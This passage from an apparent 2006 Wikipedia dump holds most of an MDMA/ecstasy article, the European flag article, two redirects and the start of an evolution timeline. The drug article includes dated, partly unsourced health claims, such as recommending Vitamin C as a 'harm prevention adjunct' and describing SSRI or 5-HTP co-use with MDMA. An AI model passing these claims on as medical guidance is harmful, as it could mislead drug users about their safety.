Many legal pills such as [[aspirin]], [[paracetamol]] (acetaminophen), or even [[dog|canine]] [[heartworm]] tablets have had the letter E scratched into them and been sold as ecstasy, for enormous profit. (This is a minor plot device in the movie [[Go (1999)|''Go'']].) Such false labeling can have deadly results, as a significant number of people are [[allergy|allergic]] to aspirin. Paracetamol is fairly [[hepatotoxicity|hepatotoxic]] and can cause significant [[liver]] damage or death if taken in large doses, as might happen to a person taking four or five tablets in quick succession, thinking the tablets to be ecstasy. While overdose from MDMA itself is rare, many more toxic substances are often sold as ecstasy, and overdose or other adverse reaction to adulterants is not uncommon. 

Although full and proper characterization of ecstasy pills requires advanced lab techniques such as [[Gas chromatography-mass spectrometry]], it is also possible to use a less accurate presumptive [[alkaloid]] test known as the [[Marquis reagent]]. [[DanceSafe]] sells testing kits, and includes an extensive database of photographs of different pills, along with the results of a laboratory analysis of their contents. EcstasyData.org [http://www.ecstasydata.org/] is a non-profit site that tests the purity of street pills and compiles results. Most blackmarket pills are made in basement labs with household chemicals (often containing other products) and are thus dangerous because of their impurity content.

==Effects==
=== Pharmacodynamics ===
[[Serotonin]] is a neurotransmitter believed to play a role in the regulation of mood and pleasure. MDMA's main action is believed to cause [[serotonin]] vescicles in the brain to release quantities of serotonin into the [[Synapse|synapses]]. MDMA also has slight agonist effects on [[dopamine]] and [[norepinephrine]] levels and promotes the release of the hormone [[prolactin]]. These effects are primarily due to MDMA's action on the [[monoamine transporter]]s, SERT ([[serotonin transporter]]), DAT ([[dopamine transporter]]) and NET ([[norepinephrine transporter]]).

===Other short-term effects===
Apart from the dangers from impurities, the primary acute risks of taking MDMA are [[allergy|allergic reaction]], which is extremely rare, and [[dehydration]]. Like  amphetamine, MDMA can mask the body's normal thirst and exhaustion responses, particularly if a user is dancing or is otherwise physically active for long periods of time without hydration. MDMA can temporarily reduce the body's ability to regulate its core temperature, and in high-temperature surroundings (e.g. clubs) combined with physical exertion this may lead to [[hyperpyrexia]] if precautions are not taken to remain cool. While dehydration is undesirable, there also have been a very small number of users overly concerned about hydration drinking excessive water and suffering from [[water intoxication]] and associated [[hyponatremia]] (dilution of the blood that can cause [[Edema|swelling]] of the [[brain]]). This is what caused the death of British teen [[Leah Betts]], which may be the world's most widely publicised MDMA-related fatality. Some users also report decreased libido or impotence; however, studies have had conflicting results [http://www.idmu.co.uk/esex.htm].

=== Long-term effects ===
Long-term effects are still unknown and heavily debated among scientists. There are several reports of [[Hallucinogen persisting perception disorder|Hallucinogen Persisting Perception Disorder]] being induced by MDMA. In some cases, the disorder appears to be permanent. The disorder seems to occur in only a small percentage of users, and its mechanism of causation is unknown.

Some experiments indicate that prolonged or excessive use at very high doses may lead to the [[synaptic terminal]]s of serotonin neurons being damaged. The precise mechanism of this action is unknown, but recent evidence (Jones 2004; Miller 1997; Monks et al. 2004) suggests that the [[Metabolism|metabolic]] breakdown of MDMA includes the formation of [[reactive oxygen species]] (ROS), chemicals known to cause oxidative cell damage when taken up into the releasing synapse.

This effect has been experimentally verified in the brains of [[rat]]s, where the serotonin terminals of animals who are given extremely high doses of MDMA over a prolonged period of time (usually one to two orders of magnitude greater than a typical human dose) become withered and useless.  This hypothesis is supported by the fact that the administration of [[selective serotonin reuptake inhibitor]]s (&quot;SSRIs&quot;, which bind to the serotonin cell's reuptake transporters and thus block ROS from entering the serotonin cells) along with or immediately following MDMA seems to block neuron damage in rats given MDMA. Vitamin C in large doses has also been shown to prevent oxidative stress in vivo, and Vitamin C should be considered as a harm prevention adjunct to MDMA use. 

Some MDMA users administer an SSRI while, or shortly after taking MDMA, in an attempt to prevent possible [[neurotoxicity]].  These SSRIs are typically [[antidepressant]]s such as [[Prozac]] or [[Zoloft]].  It should be noted, however, that MDMA use in conjunction with a different class of antidepressants, namely [[Monoamine oxidase inhibitor]]s, is strongly contra-indicated due to danger of [[serotonin syndrome]] and the possibility of life-threatening hypertension.

Many users also attempt to replenish the deficit of [[serotonin]] which follows the use of MDMA by administering [[5-HTP]]. The [[serotonin]] precursor [[5-HTP]], which is commercially available as a dietary supplement, reportedly supplies the user with more of the raw materials to synthesize the [[neurotransmitter]]. Pre-loading with 5-HTP has not been shown to increase the subjective effects of MDMA.

Because MDMA's neurotoxicity is known to be highly dependent on its metabolic disposition (Jones 2004; de la Torre &amp; Farré 2004), it is not known whether experiments in rats and monkeys have any direct bearing on human users.

Considerable research has been done into possible cognitive-behavioral deficits among ecstasy users but data have been largely inconclusive. At least two [[Meta-analysis|meta-analyses]] of these studies have been completed (Morgan 2000; Sumnall &amp; Cole 2005). Morgan's analysis of 17 studies showed that ecstasy users had a slight tendency to be more impulsive and depressed than controls. Sumnall and Cole's analysis showed a slight increase in the prevalence of depressive symptoms in ecstasy users over controls. Of course, in retrospective studies like these we are always faced with a chicken-or-egg question: did these impulsive and depressed people use ecstasy to self-medicate or did otherwise normal people become depressed and impulsive after using ecstasy? This question has not been answered. Moreover, such research is problematic as ecstasy users are much more likely than control subjects to have taken other drugs in addition to ecstasy. This makes it difficult for researchers to establish a direct causal relationship.

Although some experimental evidence exists indicating that long-term ecstasy users experience memory difficulties, a large study in 2002 (Strote et al.) showed that ecstasy users in 4-year colleges have [[GPA]]s which do not differ significantly from those of non-users.

According to one study, MDMA use has led to to [[rhabdomyolysis]] (muscle breakdown) as a consequence of MDMA-induced hyperpyrexia (abnormally high body temperature).  [[Rhabdomyolysis]] can cause [[renal failure]] and death.  Note the &quot;degree to which the seriousness of the effects can be dependent on environmental factors other than the drug concentration&quot; in describing the fact that of the fatalities, blood concentrations of the drug spanned a large range.  This notwithstanding, &quot;most of the cases of serious toxicity or fatality have involved blood levels... up to 40 times higher than the usual recreational range.&quot; (Kalant H., 2001) [http://www.cmaj.ca/cgi/content/full/165/7/917]

=== Systemic effects ===
Other effects include:
* [[Pupil dilation]] with attendant photosensitivity and color perception
* Jaw clenching or [[bruxism]] (&quot;[[gurning]]&quot; or &quot;[[grinding]]&quot;)
* Shutter vision ([[nystagmus]])
* General restlessness
* Loss of appetite/taste sensation changes
* Lack of focus / concentration
* Tingling
* Sweaty palms
* Increased heart rate
* Temporary Ulcers on Gums
* Long term memory loss
* Mood swings
* Weight loss (a result of increased cardio activity and loss of appetite)

=== Ecstasy and Parkinson's ===
Research at the [[University of Manchester]] indicates that ecstasy dramatically reduces tremors in patients receiving [[dopamine|L-DOPA]] treatment for [[Parkinson's Disease]].

In a now-retracted study, a research team led by Dr. [[George A. Ricaurte]] at [[Johns Hopkins University]] implicated MDMA as a ''cause'' of Parkinson's-like brain abnormalities in monkeys, suggesting that a single use of MDMA caused permanent and serious brain damage.  These claims were hotly disputed by physicians, therapists, and other experts in the field, including a team of scientists at [[New York University]]. Criticisms of the study included its use of injection rather than oral administration; that this type and scale of damage (&gt;20% mortality) would translate to hundreds of thousands or millions of deaths which had not materialized in the real world amidst extremely broad global MDMA usage; and, perhaps most important, that other research teams could not duplicate the study's findings.

On [[September 6]], [[2003]], Dr. George A. Ricaurte and his team announced that they were retracting all results of their commonly cited and controversial study. The researchers said that the labels on the drugs had been somehow switched, and they had inadvertently injected their experimental monkeys and baboons with extremely high doses of [[methamphetamine]] instead of MDMA.  The chemical supplier, [[Research Triangle Institute]], has publicly claimed that the proper drug was supplied, and Ricaurte has yet to pursue them for their alleged error.

Ricaurte had also come under fire for supplying PET scans to the U.S. Office of National Drug Control Policy that were used in anti-drug literature (''Plain Brain/Brain After Ecstasy'') that seemed to suggest MDMA created holes in human brains, an implication that critics called misleading.  Ricaurte later asked the Agency to change the literature, citing the &quot;poor quality&quot; of the images.

== Legal issues ==

Use, supply and trafficking of ecstasy are currently illegal in most countries. In the United States, MDMA was legal and unregulated until May 31st [[1985]], at which time it was added to [[Controlled Substances Act|DEA Schedule I]], for drugs deemed to have no medical uses and a high potential for abuse.  During DEA hearings to criminalize MDMA, most experts recommended [[Controlled Substances Act|DEA Schedule III]] prescription status for the drug, due to its beneficial usage in psychotherapy.  The judge overseeing the hearings, [[Francis Young]], also made this recommendation.  Nonetheless, DEA classified it as Schedule I.

That same year, the [[World Health Organization]]'s Expert Committee on Drug Dependence recommended that MDMA be placed in Schedule I of the [[Convention on Psychotropic Substances]]. Unlike the [[Controlled Substances Act]], the Convention has a provision (in  [http://www.incb.org/e/conv/1971/articles.htm#7 Article 7(a)]) that allows use of Schedule I drugs for &quot;scientific and very limited medical purposes&quot;. The Committee's report stated[http://www.ecstasy.org/books/e4x/e4x.ap.01/e4x.ap.01.015.html]:
:''It should be noted that the Expert Committee held extensive discussions concerning therapeutic usefulness of 3,4 Methylenedioxymethamphetamine. While the Expert Committee found the reports intriguing, it felt that the studies lacked the appropriate methodological design necessary to ascertain the reliability of the observations. There was, however, sufficient interest expressed to recommend that investigations be encouraged to follow up these preliminary findings. To that end, the Expert Committee urged countries to use the provisions of article 7 of the Convention on Psychotropic Substances to facilitate research on this interesting substance.''

In the [[United Kingdom]], MDMA is Schedule I/Class A, making it illegal to sell, buy, or possess without a license. Penalties include a maximum of seven years and/or unlimited fine for possession; life and/or unlimited fine for production or trafficking. A mandatory seven year sentence is now the penalty for a third conviction for trafficking.

===Medical use===
In [[2001]], the FDA approved MDMA for research with patients suffering from [[post-traumatic stress disorder]].  In March of 2004, the DEA issued its first Schedule I possession [[license]]s for those conducting research under the FDA approval; research is being conducted through the [[Multidisciplinary Association for Psychedelic Studies]] (MAPS) on [[veteran]]s from the [[U.S. invasion of Afghanistan]], [[rape]] victims, and [[cancer]] patients. For further information on this, see [http://www.maps.org/research/mdma/ MAPS's MDMA Research Information] and the recent article from [http://www.msnbc.msn.com/id/7613571/site/newsweek/ MSNBC/Newsweek].

== Safety ==

The illegality of this drug in many countries makes exact study of its effects difficult. Some of the effects ascribed to ecstasy, which may or may not be conclusive, are the following:

* Because of its illegality, the dose and purity of a pill advertised as ecstasy may be stronger than is desired or may be unsafe.
* Ecstasy affects the regulation of the body's internal systems. Continuous dancing without sufficient breaks or drinks can lead to dangerous overheating and [[dehydration]]. Drinking too much water without consuming a corresponding amount of salt can lead to [[hyponatremia]] or [[Water intoxication]].
* The use of ecstasy can exacerbate [[clinical depression|depression]] and may produce temporary depression as an after-effect for some users.
* The use of ecstasy can be very dangerous when combined with other drugs (particularly [[monoamine oxidase inhibitors]] (MAOIs) and [[antiretroviral drugs]]).
* Because it substantially affects perception, concentration, and motor skills, it is dangerous to operate heavy machinery or motor vehicles when using ecstasy.
* Long-term after-effects are greatly exacerbated by high doses and frequent use.
* A small percentage of users may be highly sensitive to MDMA; this may make first-time use especially hazardous. This includes but is not limited to people with congenital heart defects, and a small percentage of people who lack the proper enzymes to break down the drug.

==See also==

* [[Sextasy]]
* [[Empathogen/Entactogen]]
* [[Amphetamine]]
* [[Phenethylamine]]s
* [[Psychedelic therapy]]
* [[Psychoactive drug]]
* [[RAVE Act]]
* [[Retracted article on neurotoxicity of ecstasy]]
* [[Leah Betts]] &amp; [[Anna Wood]] (people who have died as a result of drinking too much water while on ecstasy)

== External links ==

=== Media ===
[[Image:Ecstacy rising.jpg|thumb|right|The title screen to ''Peter Jennings - Ecstasy Rising'']]
[[Image:Dateline - The X Files.jpg|thumb|right|The title screen to ''The &quot;X&quot; Files - A Dateline Special'']]
*Jennings, Peter. &amp;quot;[http://www.youtube.com/w/Ecstasy-Rising?v=aAEauEQEwzQ Primetime Special: Peter Jennings - Ecstasy Rising].&amp;quot; ''[[ABC News]]'', [[April 1]], [[2004]].
*Conant, Eve. &amp;quot;[http://www.msnbc.msn.com/id/7613571/site/newsweek/ Ecstasy: A Possible New Role for a Banned Club Drug].&amp;quot; ''[[Newsweek]]'', [[May 2]], [[2005]].
*[http://video.fox6.com/launcher/28793 Generation on X: An undercover look at the growing trend of teens using Ecstasy] [[FOX News]], [[April 26]], [[2005]].
*Weiss, Rick. &amp;quot;[http://www.washingtonpost.com/wp-dyn/articles/A27716-2004Dec26.html 'Ecstasy' Use Studied to Ease Fear in Terminally Ill].&amp;quot; ''[[The Washington Post]]'', [[December 27]], [[2004]].
*Philipkoski, Kristen. &amp;quot;[http://www.wired.com/news/medtech/0,1286,65025,00.html Wired News: Long Trip for Psychedelic Drugs].&amp;quot; ''[[Wired magazine|Wired]]'', [[September 27]], [[2004]].
*Philipkoski, Kristen. &amp;quot;[http://www.wired.com/news/business/0,1367,62506,00.html DEA Approves Ecstasy Tests].&amp;quot; ''[[Wired magazine|Wired]]'', [[March 2]], [[2004]].
*Darman, Jonathan. &amp;quot;[http://www.msnbc.com/news/1001897.asp Out of the Club, Onto the Couch] ''[[Newsweek]].com'', [[December 5]], [[2003]]. - An [[interview]] with [[New York University|NYU]]'s Dr. Julie Holland
*Weiss, Rick. &amp;quot;[http://www.washingtonpost.com/wp-dyn/articles/A33096-2003Sep5.html Results Retracted on Ecstasy Study].&amp;quot; ''[[The Washington Post]]'', [[September 6]], [[2003]].
*Recer, Paul &amp;quot;[http://www.cbsnews.com/stories/2002/09/26/health/main523423.shtml Ecstasy-Parkinson's Connections?].&amp;quot; ''[[CBS News]]'', [[September 26]], [[2002]].

=== Academic ===

* [http://www.maps.org/research/mdma/index.html The  Multidisciplinary Association for Psychedelic Studies (MAPS): MDMA project] MAPS is at the forefront of human MDMA research, having obtained FDA permits for two studies administering MDMA to human volunteers in order to explore the drug's potential psychiatric benefits (one study is already underway.)
* [http://TheDEA.org/neurotoxicity.html TheDEA.org's extensive critique/review of the evidence against MDMA ('ecstasy') causing brain damage at common recreational doses.]
* [http://www.dancesafe.org/slideshow/index.html This is your brain on Ecstasy] - A slideshow that illustrates the neuropharmacokinetics of Ecstasy (how the drug affects the brain.) Some of the information on this page is at present (July 2005) outdated.
* [http://www.erowid.org/library/books_online/pihkal/pihkal109.shtml PiHKAL entry]

* [http://www.maps.org/sys/w3pb.pl?face=simple/ The MAPS research library, containing downloadable copies of most of the MDMA and LSD research ever done.]

=== General ===
* [http://www.maps.org Multidisciplinary Association for Psychedelic Studies] - A non-profit organization currently conducting FDA-approved studies with MDMA.
* [http://www.ecstasydata.org/ EcstasyData.org] A database of photos and lab-test results of over 1500 pills of &quot;Ecstasy&quot;.
* [http://www.pillreports.com Pillreports] A similar database to EcstasyData, but with user-contributed photos of pills and subjective &quot;pill reports&quot; and ratings.  Over 1600 listings (as of Jan. 2006).
*[http://www.tripproject.ca/march/drugContent.php?info=ecstasy User-friendly info on Ecstasy] provided by the TRIP! Project, Toronto Canada
* [http://www.thegooddrugsguide.com/ecstasy/index.htm The Good Drugs Guide] - The Good Drugs Guide - Ecstasy
* [http://www.dancesafe.org DanceSafe] - a risk reduction site with lots of information on Ecstasy. Includes a large database of photographs of different pill types, along with laboratory analysis of what was actually found in the pill.
* [http://www.dancesafe.org/slideshow/ This is your brain on Ecstasy: MDMA Neurochemistry Slideshow] Slideshow that shows the chemical reactions in the brain that cause the effects of MDMA - hosted by Dancesafe.
* [http://www.erowid.org/chemicals/mdma/mdma.shtml Erowid's Ecstasy page] - lots of information
* [http://www.ndh.org.uk/facts_ecstasy.html UK National Drugs Line factsheet on Ecstasy]
* [http://www.acde.org/common/ecstasy.htm American Council for Drug Education factsheet on Ecstasy]
* http://www.ecstasy.org
* [http://www.mdma.net Utopian Pharmacology]. Detailed essay discussing the history and uses of MDMA
* [http://TheDEA.org TheDEA.org] An ecstasy user's guide with detailed discussions of risks and scientific research.
* [http://www.bruceeisner.com/writings/2004/09/mdma_personalit.html MDMA, Personality and Human Nature:  The Power to Transform People]. Essay by [[Bruce Eisner]], author of Ecstasy: The MDMA Story

== References ==
* de la Torre, Rafael et al. (2000), Non-linear pharmacokinetics of MDMA (`ecstasy') in humans. ''Br J Clin Pharmacol'', 2000; 49(2):104-9

* de la Torre, Rafael &amp; Farré, Magí (2004). Neurotoxicity of MDMA (ecstasy): the limitations of scaling from animals to humans. ''Trends in Pharmacological Sciences 25'', 505-508.

* Jennings, Peter. ''Ecstasy Rising'', [[American Broadcasting Company|ABC]] [[television]] documentary.  2004-01-04.

* Jones, Douglas C. et al. (2004). Thioether Metabolites of 3,4-Methylenedioxyamphetamine and 3,4-Methylenedioxymethamphetamine Inhibit Human Serotonin Transporter (hSERT) Function and Simultaneously Stimulate Dopamine Uptake into hSERT-Expressing SK-N-MC Cells. ''J Pharmacol Exp Ther 311'', 298-306.

* Kalant H. (2001) The pharmacology and toxicology of &quot;ecstasy&quot; (MDMA) and related drugs. ''[[CMAJ]]''. Oct 2;165(7):917-28. Review. PMID 11599334 [http://www.cmaj.ca/cgi/content/full/165/7/917 Full Text]

* Miller, R.T. et al. (1997). 2,5-Bis-(glutathione-S-yl)-alpha-methyldopamine, a putative metabolite of (+/-)-3,4-methylenedioxyamphetamine, decreases brain serotonin concentrations. ''Eur J Pharmaco. 323(2-3)'', 173-80. Abstract retrieved Apr 17, 2005, from PubMed.

* Monks, T.J. et al. (2004). The role of metabolism in 3,4-(+)-methylenedioxyamphetamine and 3,4-(+)-methylenedioxymethamphetamine (ecstasy) toxicity. ''Ther Drug Monit 26(2)'', 132-136.

* Morgan, Michael John (2000). Ecstasy (MDMA): a review of its possible persistent psychological effects. ''Psychopharmacology 152'', 230-248.

* Strote, Jared et al. (2002). Increasing MDMA use among college students: results of a national survey. ''Journal of Adolescent Health 30'', 64-72.

* Sumnall, Harry R. &amp; Cole, Jon C. (2005). Self-reported depressive symptomatology in community samples of polysubstance misusers who report Ecstasy use: a meta-analysis. ''Journal of Psychopharmacology 19(1)'', 84-92.



{{Entactogens}}
{{Amphetamines}}
{{Hallucinogenic phenethylamines}}

[[Category:Alkaloids]]
[[Category:Entactogens and Empathogens]]
[[Category:Class A drugs]]
[[Category:Schedule I controlled substances]]
[[Category:Psychedelic phenethylamines]]

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    </revision>
  </page>
  <page>
    <title>European flag</title>
    <id>10025</id>
    <revision>
      <id>40420990</id>
      <timestamp>2006-02-20T12:15:36Z</timestamp>
      <contributor>
        <username>Jrleighton</username>
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      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{Life in the European Union}}
[[Image:European flag.svg|thumb|left|250px|European flag, ratio 2:3]]
The '''European flag''' consists of a circle of twelve golden stars on a blue background.

Although the [[flag]] is most commonly associated with the [[European Union]] (EU), it was initially used by the [[Council of Europe]] (COE), and intended to represent [[Europe]] as a whole as opposed to any particular organisation such as the EU or the COE.

The flag was originally adopted by the [[Council of Europe]] on [[December 8]], [[1955]], from a design attributed to Arsène Heitz. The Council of Europe from the beginning desired it to be used by other regional organisations seeking European integration. The [[European Community]] (EC) adopted it on [[May 26]], [[1986]]. The [[European Union]], which was established by the [[Maastricht Treaty]] in [[1992]] to replace the EC and encompass its functions, also adopted the flag. Since then the use of the flag has been controlled jointly by the Council of Europe and the European Union.

[[Image:EU_Flag_specification.svg|left|thumb|250px|Proportions of the European flag]]

The flag appears on the face of all [[Euro]] currency banknotes, and the stars on Euro coins.

The number of stars on the flag is fixed at 12 and is not related to the number of member states of EU. In 1953, the Council of Europe had 15 members; it was proposed that the future flag should have one star for each member, and would not change based on future members. [[West Germany]] objected to this as one of the members was the disputed area of [[Saarland]], and to have its own star would imply [[sovereignty]] for the region. On this basis, [[France]] also objected to fourteen stars, as this would imply the absorption of Saarland into Germany. Myth has it that the [[Italy|Italian]] representative then objected that thirteen was an unlucky number, as well as the fact that early [[flag of the United States|flags of the United States]] featured that number of stars. [[12 (number)|Twelve]] was eventually adopted as a number with no political connotations and as a symbol of perfection and completeness[http://europa.eu.int/abc/symbols/emblem/index_en.htm] because of the ubiquity of the number for groups in European cultures and traditions such as:

* 12 [[Astronomical_symbols#Zodiacal_symbols|symbols of the zodiac]]; 
* 12 [[Hour|hours]] on a [[Clock|clock]]; 
* 12 [[Month|months]] in a [[Year|year]]; 
* 12 [[Twelve Apostles|Apostles]]; 
* 12 [[Caesars]] chronicled by [[Suetonius]];
* 12 [[Twelve_Olympians|Olympian gods]];
* 12 [[Twelve_Tables|tables of Roman Law]]. 

The number has led to a number of unproved assertions that there is further meaning in the stars, for example its similarity to the twelve-star halo of the [[Blessed Virgin Mary|Virgin Mary]] seen in [[Roman Catholic]] art and thus part of a [[conspiracy theory|conspiracy]] to revive a Catholic supremacy or the [[Holy Roman Empire]]. Interestingly, some staunchly religious organisations make the counter-claim that the stars represent the [[Queen of Heaven]] in Babylonian myth and show the existence of an ungodly movement in the leadership of the [[EU]]. Most non-partisan authorities on the subject disregard such theories as myth [http://www.crwflags.com/fotw/flags/eun.html#hist]. However, flag designer Arsene Heitz has acknowledged that the [[Book of Revelation]] helped to inspire him. [http://www.economist.com/printedition/PrinterFriendly.cfm?Story_ID=3332056]

==Common mistakes==

&lt;gallery&gt;
Image:European flag, upside down.svg|This flag is, or the individual stars are, upside-down.
Image:European flag, incorrect star rotation.svg|The stars are rotated incorrectly. All the stars should be rotated the same i.e. with two points at the bottom and one at the top.
Image:European flag, incorrect star positions.svg|The stars are in the wrong positions; they should be in the &quot;O'Clock&quot; positions.
&lt;/gallery&gt;

==Proposals==
[[Image:Barcode 15 european.PNG|thumb|275px|The original 15 member proposed European Flag by the architect Rem Koolhaas]]
[[Image:European Presidency Austria 2006.png|thumb|275px|The 25 member proposed European Flag by the architect Rem Koolhaas]]
Following the signing of the [[Treaty of Nice]] in May [[2001]], which made [[Brussels]] the official capital of Europe, the then President of the [[European Commission]], [[Romano Prodi]] and the Belgian Prime Minister [[Guy Verhofstadt]] invited the designer [[Rem Koolhaas]] to discuss the necessities and requirements of a European capital.

During these talks and as an impetus for further discussion, Koolhaas and his think-tank [[Office for Metropolitan Architecture|OMA]] suggested the development of a visual language. This idea inspired a series of drawings and drafts, including the &quot;[[Barcode]]&quot;. The barcode tries to unite the flags of all the EU member countries into a single, colourful symbol.

In the current European flag, there is a fixed number of stars. In the barcode however, new Member States of the EU can be added without space constraints. Originally, the barcode displayed 15 EU countries. In [[2004]], the symbol was adapted to include the ten new Member States.

Since the time of the first drafts of the barcode it has never been officially used by commercial or political institutions. During the [[Presidency of the Council of the European Union|Austrian EU Presidency 2006]] it is officially used for the first time, but only as part of the logo of the presidency, not as a new EU flag. The logo has already been used for the EU information campaign which will also be continued during the Austrian EU Presidency.

== See also ==

* [[European symbols]]
* [[Rainbow flag]] - another non-national flag in similar design to the barcode.

==External links==
*[http://europa.eu.int/abc/symbols/emblem/graphics1_en.htm Graphical specifications for the European Emblem]
*[http://www.proeurope.org EU Insignia/Flag Site]
*[http://news.bbc.co.uk/2/hi/europe/1974721.stm BBC News | On Koolhaas' proposal]
*[http://www.fotw.net/flags/eu!cha.html#rem FOTW | Entry on proposal]
*[http://homepage.eircom.net/%7Eseanjmurphy/chiefs/euroflagmemo.html Memorandum on design of European flag]

[[Category:International flags]]
[[Category:Council of Europe|Flag]]
[[category:European Union|Flag]]

[[an:Bandera europeya]]
[[ca:Bandera de la Unió Europea]]
[[de:Europaflagge]]
[[et:Euroopa Liidu lipp]]
[[el:Ευρωπαϊκή σημαία]]
[[es:Bandera de la Unión Europea]]
[[eo:Eŭropunia flago]]
[[fr:Drapeau européen]]
[[is:Evrópufáninn]]
[[it:Bandiera europea]]
[[he:דגל האיחוד האירופי]]
[[ka:ევროკავშირის დროშა]]
[[lb:Europafändel]]
[[hu:Európai zászló]]
[[nl:Vlag van Europa]]
[[ja:欧州連合の旗]]
[[pl:Flaga Unii Europejskiej]]
[[pt:Bandeira europeia]]
[[ru:Флаг Европы]]
[[sl:Evropska zastava]]
[[sr:Застава Европске уније]]
[[wa:Drapea di l' Union Uropeyinne]]
[[zh:欧盟旗帜]]</text>
    </revision>
  </page>
  <page>
    <title>European anthem</title>
    <id>10026</id>
    <revision>
      <id>15907870</id>
      <timestamp>2004-09-18T04:07:42Z</timestamp>
      <contributor>
        <username>Aris Katsaris</username>
        <id>85484</id>
      </contributor>
      <minor />
      <comment>redirect to Ode to Joy instead</comment>
      <text xml:space="preserve">#REDIRECT [[Ode to Joy]]</text>
    </revision>
  </page>
  <page>
    <title>Eugene Paul Wigner</title>
    <id>10027</id>
    <revision>
      <id>15907871</id>
      <timestamp>2002-09-06T16:23:57Z</timestamp>
      <contributor>
        <ip>64.26.98.90</ip>
      </contributor>
      <comment>We really do not need separate aretcles &quot;Eugene Paul Wigner&quot; and &quot;Eugene Wigner.&quot; Made this a redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Eugene Wigner]]</text>
    </revision>
  </page>
  <page>
    <title>Timeline of evolution</title>
    <id>10029</id>
    <revision>
      <id>42038339</id>
      <timestamp>2006-03-03T10:54:51Z</timestamp>
      <contributor>
        <username>OpenToppedBus</username>
        <id>252600</id>
      </contributor>
      <comment>Major copyedit. Remove info on mesonychid (now proven incorrect) and lemurs (which don't appear to have evolved by 64MYA).</comment>
      <text xml:space="preserve">:''For the history of evolutionary biology, see [[history of evolutionary thought]].''
[[Image:The Earth seen from Apollo 17.jpg|right|160px]]
This '''timeline of evolution of life''' outlines the major events in the development of [[life]] on the planet [[Earth]]. For context, see [[biology]], [[evolution]], the [[geologic time scale]], and the [[history of Earth]].  Dates given are estimates based on scientific evidence. The table uses the abbreviations &quot;[[Mya (unit)|MYA]] &quot; for &quot;million years ago&quot; and &quot;[[TYA|kYA]]&quot; for &quot;thousand years ago.&quot; 

In [[biology]], '''evolution''' is the process by which populations of organisms acquire and pass on novel [[Trait (biological)|trait]]s from generation to generation. Its action over large stretches of time explains the origin of [[speciation|new species]] and ultimately the vast diversity of the biological world. Contemporary species are related to each other through [[Common descent|common descent]], products of evolution and speciation over billions of years. 
{{clear}}
{| class=&quot;wikitable&quot;
|-
! Date
! Event
|- valign=&quot;top&quot;
| align=&quot;RIGHT&quot; nowrap | 4600 MYA
| The planet [[Earth]] [[Accretion theory|forms]] from the [[accretion disk]] revolving around the young [[Sun]].  
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 4100 MYA
| The surface of the Earth cools enough for the [[Earth's_crust|crust]] to solidify.  The [[atmosphere]] and the [[oceans]] form&lt;ref&gt;&quot;&lt;cite&gt;However, once the Earth cooled sufficiently, sometime in the first 700 million years of its existence,  clouds began to form in the atmosphere, and the Earth entered a new phase of development.&lt;/cite&gt;&quot; [http://www.oceansonline.com/ocean_form.htm How the Oceans Formed] (URL accessed on [[January 9]], [[2005]])&lt;/ref&gt;.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 4000 MYA
| [[Origin_of_life|Life appears]], possibly derived from [[RNA world hypothesis|self-reproducing]] [[RNA]] molecules. These molecules copying/reproducing/replicating requires resources like energy, space and smaller building blocks, which soon become limited, resulting in competition. [[Natural_selection|Natural selection]] favors those molecules which are more efficient at replication. The atmosphere does not contain any free [[oxygen]].
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 3900 MYA
| [[Late Heavy Bombardment]]: peak rate of [[Impact_event|impact events]] upon the Earth, Moon, [[Mars]] and [[Venus (planet)|Venus]] by [[asteroids]] and [[comets]] ([[planetesimals]]); this constant [[disturbance (ecology)|disturbance]] may encourage life to evolve (See: [[Panspermia]]). It is thought these impacts cause the oceans to boil away completely, more than once; yet life persists&lt;ref&gt;&quot;&lt;cite&gt; Between about 3.8 billion and 4.5 billion years ago, no place in the solar system was safe from the huge arsenal of asteroids and comets left over from the formation of the planets. Sleep and Zahnle calculate that Earth was probably hit repeatedly by objects up to 500 kilometers across&lt;/cite&gt;&quot; [http://news-service.stanford.edu/news/1998/december2/marsunder122.html Geophysicist Sleep: Martian underground may have harbored early life] (URL accessed on [[January 9]], [[2005]])&lt;/ref&gt;. 
[[Cell (biology)|Cells]] resembling [[prokaryote]]s appear. These first organisms are [[chemoautotroph]]s: they use [[carbon dioxide]] as a [[carbon]] source and [[oxidation|oxidize]] inorganic materials to extract energy. Later, prokaryotes evolve [[glycolysis]], a set of chemical reactions that free the energy of organic molecules such as [[glucose]]. Glycolysis generates [[Adenosine triphosphate|ATP]] molecules as short term energy currency and is used in almost all organisms unchanged to this day. Lifetime of the [[last universal ancestor]]; the split between the [[bacterium|bacteria]] and the [[archaea]] occurs.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 3500 MYA
| Bacteria develop primitive forms of [[photosynthesis]] which at first do not produce [[oxygen]]. These organisms generate [[Adenosine triphosphate|ATP]] by exploiting a [[proton gradient]], a mechanism still used in virtually all organisms.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 3000 MYA
| Photosynthesizing [[cyanobacteria]] evolve; they use water as [[reductant]], thereby producing oxygen as waste product. The oxygen initially oxidizes dissolved iron in the oceans, creating iron ore. Then the oxygen concentration in the atmosphere rises, acting as a poison for many bacteria.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 2500 MYA
| Some bacteria evolve the ability to utilize oxygen to more efficiently use the energy from organic molecules such as glucose. Virtually all organisms using oxygen employ the same set of reactions, the [[citric acid cycle]] and [[oxidative phosphorylation]].  The &quot;runaway icehouse&quot; effect&lt;ref&gt;Walker, Gabrielle, (2003) &quot;Snowball Earth: The Story of the Great Global Catastrophe that Spawned Life as we know it&quot; Bloomsbury ISBN 0747654337&lt;/ref&gt; results in the [[Huronian]] glaciation (2,500 million-2,100 mya)&lt;ref&gt;John, Brian (Ed)(1979) &quot;The Winters of the World: Earth under the Ice Ages&quot; Jacaranda Press ISBN 047026844-1&lt;/ref&gt;.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 2100 MYA
